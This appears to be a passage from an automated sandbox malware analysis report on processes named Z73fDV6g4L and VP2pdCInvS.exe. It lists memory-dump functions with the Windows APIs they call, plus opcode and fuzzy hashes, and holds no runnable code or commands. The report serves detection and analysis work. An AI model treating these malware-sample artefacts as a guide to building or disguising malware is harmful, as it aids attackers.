Opcode Fuzzy Hash: 2067df2c22d54440359f15bcdb9cd3ca36516dcdffa70ba243c52f9062b3350a
Instruction Fuzzy Hash: 9C4128B5A00305DFCB14DF99C488AAABBF5FB88314F24C459D519AB321D375A941CBA0

Function 02C8959C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02C89659

Memory Dump Source

Source File: 00000009.00000002.2109676526.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2c80000_Z73fDV6g4L.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 06e541f1299419e11236998764646733090143d384fcd3c340e1702348063548
Instruction ID: be291d9f75732310526ed74cde05abb19032990ea9904709adef4bc447c10ea9
Opcode Fuzzy Hash: 06e541f1299419e11236998764646733090143d384fcd3c340e1702348063548
Instruction Fuzzy Hash: 794112B0C00759CBDB24DFA9C984BDEBBF5BF49308F20806AD408AB255DB756946CF90

Function 02C87D68 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02C89659

Memory Dump Source

Source File: 00000009.00000002.2109676526.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2c80000_Z73fDV6g4L.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 58f66993473287995baa8313d090670598a2f9c5d9e6703c394cac5244692ca1
Instruction ID: 14b3be470a2c515a0f598917d19b54e4bfb3cc3cd711e656f3bed20ce5ea2cf9
Opcode Fuzzy Hash: 58f66993473287995baa8313d090670598a2f9c5d9e6703c394cac5244692ca1
Instruction Fuzzy Hash: 974112B0C00759CBDB24DFA9C984B9EBBF5FF49308F20806AD408AB255DB756946CF90

Function 02C8E638 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02C8EBF9,00000800,00000000,00000000), ref: 02C8EE0A

Memory Dump Source

Source File: 00000009.00000002.2109676526.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2c80000_Z73fDV6g4L.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 040d4fd03695ca02f1a0fd817a1fd207d9ecf7fa4f1a8f62c0462cdb630b2222
Instruction ID: 2f5687737928fadabfbceb354c34916ff7512e9e5d7bf8cd7873828b12dd460d
Opcode Fuzzy Hash: 040d4fd03695ca02f1a0fd817a1fd207d9ecf7fa4f1a8f62c0462cdb630b2222
Instruction Fuzzy Hash: 901126B69003499FDB10DF9AC548ADEFBF5EF89314F10842EE519A7200C379A545CFA4

Function 053EE938 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 053EE9A2

Memory Dump Source

Source File: 00000009.00000002.2117341470.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53e0000_Z73fDV6g4L.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: a6fe7146ad803d8a4a335a146e4861add962961c6688d9c1c9a906174767310f
Instruction ID: a621534b233d6eb36ac3b55b4780bf4130dde9f34aff08a8ac8d297cee4cbf83
Opcode Fuzzy Hash: a6fe7146ad803d8a4a335a146e4861add962961c6688d9c1c9a906174767310f
Instruction Fuzzy Hash: 251126B68002498FDB14CF9AC544BDEFBF9FF88310F10842AE869A3240D379A545CFA5

Function 053EE930 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 053EE9A2

Memory Dump Source

Source File: 00000009.00000002.2117341470.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53e0000_Z73fDV6g4L.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 045aedfe857213f24ef4ae86200a7b421d29299121029e3cbc405d70ad7d4bb4
Instruction ID: dc4d959f71023516e118a01fb94a1588b7b8cf0bde1423b2be3cc9b8959d580c
Opcode Fuzzy Hash: 045aedfe857213f24ef4ae86200a7b421d29299121029e3cbc405d70ad7d4bb4
Instruction Fuzzy Hash: 5B1147B68002498FDB10CF9AC544BEEFBF4BF48310F14845AD868A3240D338A545CFA5

Function 053A48DC Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?,?,?,?,?,?,053A56A0,?,?,?,?), ref: 053A5715

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: b2cc2040e73142aaa3bc908b0edb10daf9dd706952c61bd816bc56cf11feb4ca
Instruction ID: 02179c40fd5b03e756f783ec3c18057a8a73b6c1fba2a768f6f1d4f7e8b43952
Opcode Fuzzy Hash: b2cc2040e73142aaa3bc908b0edb10daf9dd706952c61bd816bc56cf11feb4ca
Instruction Fuzzy Hash: 9211F2B5800248DFDB10DF9AC589B9EBBF8EB48320F10845AE959A7610D379A944CFA5

Function 02C8EB18 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02C8EB7E

Memory Dump Source

Source File: 00000009.00000002.2109676526.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2c80000_Z73fDV6g4L.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 56592db9d6b903c2d505efdb12254b03496da1584c9d8b4a4530e9fa42af2389
Instruction ID: 06558999dd4383ad14122b66941ad150828716b0b6126ac4d34b2416fedc4011
Opcode Fuzzy Hash: 56592db9d6b903c2d505efdb12254b03496da1584c9d8b4a4530e9fa42af2389
Instruction Fuzzy Hash: FE110FB5C003498FDB20DF9AC544A9EFBF4EB89224F10841AD829A7210D379A545CFA5

Function 053A56B2 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?,?,?,?,?,?,053A56A0,?,?,?,?), ref: 053A5715

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f452cc3c5e4d548192cd3a843cf347a3724b2d233b5e1bfd5df58ee610134e1b
Instruction ID: 07514374f33d46c5b0c25a7c13be507b279bf5863e6616d0809047f4e945f40f
Opcode Fuzzy Hash: f452cc3c5e4d548192cd3a843cf347a3724b2d233b5e1bfd5df58ee610134e1b
Instruction Fuzzy Hash: 6F1103B5800248CFDB10DF99C585BDEBBF8FB48320F10841AD918B3640D379A944CFA5

Function 075E07F0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2118529316.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_75e0000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10fb09628df48c7bc1a4cb26a078464a0ab872d402abeff366df6d6580867dc4
Instruction ID: 20a6579ec2f63c1789b02f6875e81e65ddc88503cc97c6c98b323f762c780580
Opcode Fuzzy Hash: 10fb09628df48c7bc1a4cb26a078464a0ab872d402abeff366df6d6580867dc4
Instruction Fuzzy Hash: 9D31E6B4D09219CFEB48CFA9C8447EEBBF5FB4A300F14956AD41DA3291D7B84A41CB94

Function 075E0800 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2118529316.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_75e0000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f5263c331bedad2f5b84159368d432832ce8b04c82017c2bea0add45bc3793
Instruction ID: 8f2f3a480546f4f5ace1a061dfdee6886cf6956701ad0cc0a0a8357aeaf6f8f0
Opcode Fuzzy Hash: 26f5263c331bedad2f5b84159368d432832ce8b04c82017c2bea0add45bc3793
Instruction Fuzzy Hash: 1631D6B4D09219CFEB48CFA9C4446FEBBF9FB4A300F14956AD01DA3291D7B44640CB94

Function 0108D4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2103897350.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_108d000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a25d534b36a3cfc925fa94ebbb40e9b58fe55404876afa92835209e3f3fd94a2
Instruction ID: 4bb4cbcbcdd920bfaf3cff460b5fe09705b4de74c075056e9dcbaa3e9df7e8e6
Opcode Fuzzy Hash: a25d534b36a3cfc925fa94ebbb40e9b58fe55404876afa92835209e3f3fd94a2
Instruction Fuzzy Hash: 6121FB71508204DFDB05EF58D5C0F16BFA5FB98318F2486AAD9890B296C336D455C7B1

Function 011FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2105201737.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_11fd000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cb1da126072aeba5a72d4c126f4ee37d111f13f42077a5bf9dee079c64de23e
Instruction ID: 35e931df96a0d5bf5e936e4db6111b84a8e60f6ec28639cb9e1751cc1a5f40f2
Opcode Fuzzy Hash: 1cb1da126072aeba5a72d4c126f4ee37d111f13f42077a5bf9dee079c64de23e
Instruction Fuzzy Hash: 9E21F271604204DFDF19DF68E984B26BF65FB88354F24C56DEA0A4B356C33AD407CA62

Function 011FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2105201737.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_11fd000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5953a02965f1a846d593c1bb78de14b6b122e3f798509e99d3fab3eae17b33f3
Instruction ID: c9d22bfe0466717e3c1d8e4d7e49b115b107594aa9dc877e57a82d8575673a5c
Opcode Fuzzy Hash: 5953a02965f1a846d593c1bb78de14b6b122e3f798509e99d3fab3eae17b33f3
Instruction Fuzzy Hash: 94210775504204DFDF09DF98E5C0F36BB65FB84324F20C56DEA094B256C33AD406CAA2

Function 011FD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2105201737.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_11fd000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0d837b520cd5f8785201adc8934826016b4510307e84ed6f07556ee2c14f1f
Instruction ID: 40e29b9b89e5aedd89232652b5d11ccb5226473af13e9b7cd77dddbdb286d93f
Opcode Fuzzy Hash: 7e0d837b520cd5f8785201adc8934826016b4510307e84ed6f07556ee2c14f1f
Instruction Fuzzy Hash: 18219D755093808FDB07CF24D994B15BF71EB46214F28C5EED9498F6A7C33A980ACB62

Function 0108D4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2103897350.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_108d000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: d1e4f72f8dfa9c723947a37673e6a9d5568b0062408e4b14ee10f8eec54cc9b4
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 21110372404240CFCB02DF44D5C4B16BFB1FB88324F24C6AAD9890B257C33AD45ACBA2

Function 011FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2105201737.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_11fd000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: c19e42b2f5001c6c48e35e3286cc28408dae9853b67370779e0eba6e18757325
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 1E11BB79504280DFDB06CF54D5C4B25BFA1FB84224F24C6AED9494B296C33AD40ACBA2

Function 075E0439 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2118529316.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_75e0000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92da3d04df23c0f03ddd71e222df7b52392c009b586bee68db9cd6f3e78590ee
Instruction ID: 8c2b6eb92ad89fb02bd262b79c670634936cb6f4a3893ce2c95d50c274c14152
Opcode Fuzzy Hash: 92da3d04df23c0f03ddd71e222df7b52392c009b586bee68db9cd6f3e78590ee
Instruction Fuzzy Hash: 4501D6717445018FC318DF2ED894A66BBE6FFC8611B1885BDE14DCB762DA30D801CB40

Function 075E0448 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2118529316.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_75e0000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7636d50a760fb42acd96e652202cbb939b708b2c441f5bea3328540ea51ca8f0
Instruction ID: fe8f287468315ee2b10b1ed3999288f8daf7b75416d5b8d757475e71d091d927
Opcode Fuzzy Hash: 7636d50a760fb42acd96e652202cbb939b708b2c441f5bea3328540ea51ca8f0
Instruction Fuzzy Hash: C9018F71740A118FC728DF2ED984A6AB7EAFFC8625718857DE14DCB765DA30D801CB40

Analysis Process: VP2pdCInvS.exePID: 4512, Parent PID: 6768COMMON

Executed Functions

Function 063967D8 Relevance: .5, Instructions: 538COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 388e250737ef914b161148fb3cdc34e34a80b132f05dfc8ee9aa364e400ab0c9
Instruction ID: 5dd299880abb4cd0f936db03ae7222527e3499cb6b34e2ffc559a68484e6f199
Opcode Fuzzy Hash: 388e250737ef914b161148fb3cdc34e34a80b132f05dfc8ee9aa364e400ab0c9
Instruction Fuzzy Hash: 7012DD31A012099FDF55DF68D980A9EBBF6EF85310F148569E4059B2A1DB34ED0ACFA0

Function 0639A3D8 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9639c615958d6c43bfe6b2c6121759681b1b95ab2dccd56cb012591e888e18a4
Instruction ID: fcae9a50aa78f36520e594a218f267f8e81aeca784ea9d220303b771631f62ca
Opcode Fuzzy Hash: 9639c615958d6c43bfe6b2c6121759681b1b95ab2dccd56cb012591e888e18a4
Instruction Fuzzy Hash: 65D1F634D00618CFCB18EFB4D854A9DBBB2FF8A311F1081ADD50AA7254DB35998ADF51

Function 0639A3E8 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec4d03f9236af9a644bfe82e20592c709290eabf0f01b8c59235b223f1b0f193
Instruction ID: 2bac7b3b6b830e5e1be0e661deefece64b54451e360628997385557ab43caef4
Opcode Fuzzy Hash: ec4d03f9236af9a644bfe82e20592c709290eabf0f01b8c59235b223f1b0f193
Instruction Fuzzy Hash: 30D1E534D00618CFCB18EFB4D854A9DBBB2FF8A311F1081A9D50AAB254DF35998ADF51

Function 06380D80 Relevance: 20.6, Strings: 16, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06380FB8
$]q, xrefs: 06380E84
$]q, xrefs: 063813EB
$]q, xrefs: 06380F86
$]q, xrefs: 06380E02
$]q, xrefs: 06380FAC
$]q, xrefs: 06380F36
$]q, xrefs: 06381336
$]q, xrefs: 06381455
$]q, xrefs: 06380E52
$]q, xrefs: 0638137B
$]q, xrefs: 063813AC
$]q, xrefs: 06380E78
$]q, xrefs: 063813A0
$]q, xrefs: 06381461
$]q, xrefs: 06381430

Memory Dump Source

Source File: 0000000B.00000002.2246681206.0000000006380000.00000040.00000800.00020000.00000000.sdmp, Offset: 06380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6380000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2551331179
Opcode ID: 90287f0f37fef18b07d702ae07f48d81a50049ac240b2ad3d45c763cdaf2e431
Instruction ID: 1d86ada3d85bf61de2c4b7605b502f1eb95b75f648362dba9aaf25befe7458e4
Opcode Fuzzy Hash: 90287f0f37fef18b07d702ae07f48d81a50049ac240b2ad3d45c763cdaf2e431
Instruction Fuzzy Hash: 5D32D434B003059FDB59EB69C854ABE7BFABF89700B14845AE406CB7A2CB74DC05CB91

Function 029ED0B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 029ED136
GetCurrentThread.KERNEL32 ref: 029ED173
GetCurrentProcess.KERNEL32 ref: 029ED1B0
GetCurrentThreadId.KERNEL32 ref: 029ED209

Strings

x, xrefs: 029ED235

Memory Dump Source

Source File: 0000000B.00000002.2230708285.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_VP2pdCInvS.jbxd

Similarity

API ID: Current$ProcessThread
String ID: x
API String ID: 2063062207-2890206012
Opcode ID: 58ac2158fe26bcf11f4f9a0a11132cb9b3985874025b3e95acad1e46d35345f5
Instruction ID: 2f8d1d3a791849cbd80b59e83566b4b426d034d8555f7ca36b307ade4aa0eb83
Opcode Fuzzy Hash: 58ac2158fe26bcf11f4f9a0a11132cb9b3985874025b3e95acad1e46d35345f5
Instruction Fuzzy Hash: 165138B09003499FDB14DFA9D548B9EBBF5FF48304F208459E019A73A0DB789984CB65

Function 06381582 Relevance: 7.8, Strings: 6, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06381A12
$]q, xrefs: 06381A57
$]q, xrefs: 06381A7C
$]q, xrefs: 06381A88
$]q, xrefs: 0638182E
$]q, xrefs: 063818E3

Memory Dump Source

Source File: 0000000B.00000002.2246681206.0000000006380000.00000040.00000800.00020000.00000000.sdmp, Offset: 06380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6380000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 7cccb3bc748b63b117f33b26a865f2c48feb2ae0e65b07c0d096aab24ded3b58
Instruction ID: 8a6add153d39f262ae8122c0d2e38d7a240b9124ebae7d946bfd10bb5772947b
Opcode Fuzzy Hash: 7cccb3bc748b63b117f33b26a865f2c48feb2ae0e65b07c0d096aab24ded3b58
Instruction Fuzzy Hash: 57C1B5347103029FDB55ABA4C854A7B7BEAEF89704F10845AE6068B392DF75DC06C7D2

Function 06380598 Relevance: 1.7, Strings: 1, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

slPj, xrefs: 0638059C

Memory Dump Source

Source File: 0000000B.00000002.2246681206.0000000006380000.00000040.00000800.00020000.00000000.sdmp, Offset: 06380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6380000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: slPj
API String ID: 0-249509688
Opcode ID: 7ab17d8d2a62f044663f98d2f0794abae7183e4c19a91d140065862ce9baf9fb
Instruction ID: 591d05d128ebc210b8929e2530dfab859457d8dce1c0ee765a3a95b1d25c0df6
Opcode Fuzzy Hash: 7ab17d8d2a62f044663f98d2f0794abae7183e4c19a91d140065862ce9baf9fb
Instruction Fuzzy Hash: C1029C347403048FDB59AF74C954A6E7AB6FF86704F014968D6429B3A1CFB9EC09CB92

Function 06393F50 Relevance: 1.6, Strings: 1, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 063941E4

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 41eb1ef0dc2978b2394c3a42e57088c068471bcd7d383e300d06853de0b5a3c7
Instruction ID: 241a2c49326d6c303b113850e723937765f61522996f58f2d55a02f102ff7c68
Opcode Fuzzy Hash: 41eb1ef0dc2978b2394c3a42e57088c068471bcd7d383e300d06853de0b5a3c7
Instruction Fuzzy Hash: 86E13C34F002158FCB54DF69D994AAEBBF6BF88610B148169D906EB365DB34DC06CFA0

Function 029E4248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029E59F1

Memory Dump Source

Source File: 0000000B.00000002.2230708285.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_VP2pdCInvS.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a7bdb8c38cb78a76c86f870c88bbb7078ad01ea6849ebd2a253c58dd77363b96
Instruction ID: 8e58c0622ea5af56d5949401ca42dd5b1366c130baff045223a18fd37e2726ac
Opcode Fuzzy Hash: a7bdb8c38cb78a76c86f870c88bbb7078ad01ea6849ebd2a253c58dd77363b96
Instruction Fuzzy Hash: 6541F1B0C00619CFDB25DFA9C984B9DBBB5FF49308F60806AD409AB254DBB56949CF90

Function 029E5937 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029E59F1

Memory Dump Source

Source File: 0000000B.00000002.2230708285.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_VP2pdCInvS.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 22bcc3fa9c238481f41a71414186def604b82f47fa70bf2494df92143db55caf
Instruction ID: 52074580502e255475cb937cb946cfc688b0c67f14466e80d5a7917bf027ac9d
Opcode Fuzzy Hash: 22bcc3fa9c238481f41a71414186def604b82f47fa70bf2494df92143db55caf
Instruction Fuzzy Hash: 844110B0C00619CADB24DFA9C984B8DBBB5FF48308F20805AD009BB250DBB5694ACF90

Function 029EA858 Relevance: 1.6, APIs: 1, Instructions: 83
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,029EB101,00000800,00000000,00000000), ref: 029EB312

Memory Dump Source

Source File: 0000000B.00000002.2230708285.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_VP2pdCInvS.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 77ad8c3fd0486f8c953210d3fb2db6e29248f71d89df80e92153d23fdc9bcb6a
Instruction ID: e499f683bf386986c34dedbc46709621297807453a5d3155ac93b0f11184a0d3
Opcode Fuzzy Hash: 77ad8c3fd0486f8c953210d3fb2db6e29248f71d89df80e92153d23fdc9bcb6a
Instruction Fuzzy Hash: B731CDB68043488FDB12CFAAC894ADABFF4FF59314F04805AD455A7221C3789545CFA1

Function 029ED300 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 029ED387

Memory Dump Source

Source File: 0000000B.00000002.2230708285.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_VP2pdCInvS.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 929d5ef52cedab21a75c3cc93aa4734771eb778460e0621f3a54ce1b87d07bc4
Instruction ID: 665e64f61f1fe4782920e103fe4991b8622352f857cd68a31cd8c8102faac4f2
Opcode Fuzzy Hash: 929d5ef52cedab21a75c3cc93aa4734771eb778460e0621f3a54ce1b87d07bc4
Instruction Fuzzy Hash: 0021E4B59002089FDB10CF9AD584ADEBFF9FB48314F14841AE918A3350C378A940CFA0

Function 029EA870 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,029EB101,00000800,00000000,00000000), ref: 029EB312

Memory Dump Source

Source File: 0000000B.00000002.2230708285.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_VP2pdCInvS.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1a3cce01eb8f80fba59c31dcfdbb7ce9864faa69c4fb9c5e8bcf0b28c51d8539
Instruction ID: c55a719ae5d48f95da9082cb4a06340607361d40de0aafec240f4ec891cfa1ff
Opcode Fuzzy Hash: 1a3cce01eb8f80fba59c31dcfdbb7ce9864faa69c4fb9c5e8bcf0b28c51d8539
Instruction Fuzzy Hash: 381103B69003498FDB10CF9AC544A9EFBF8FF48314F10842AD519A7200C379A544CFA4

Function 07982CED Relevance: 1.6, APIs: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 079838B5

Memory Dump Source

Source File: 0000000B.00000002.2253329749.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7980000_VP2pdCInvS.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4f8537cfbbfd821c533c3a49b6c462c74d0df402c3114eb54ac07970298978e6
Instruction ID: 2fdc8025b7f6a20eabb016ae49a6102a527828e203ca75d19806435cd61b522f
Opcode Fuzzy Hash: 4f8537cfbbfd821c533c3a49b6c462c74d0df402c3114eb54ac07970298978e6
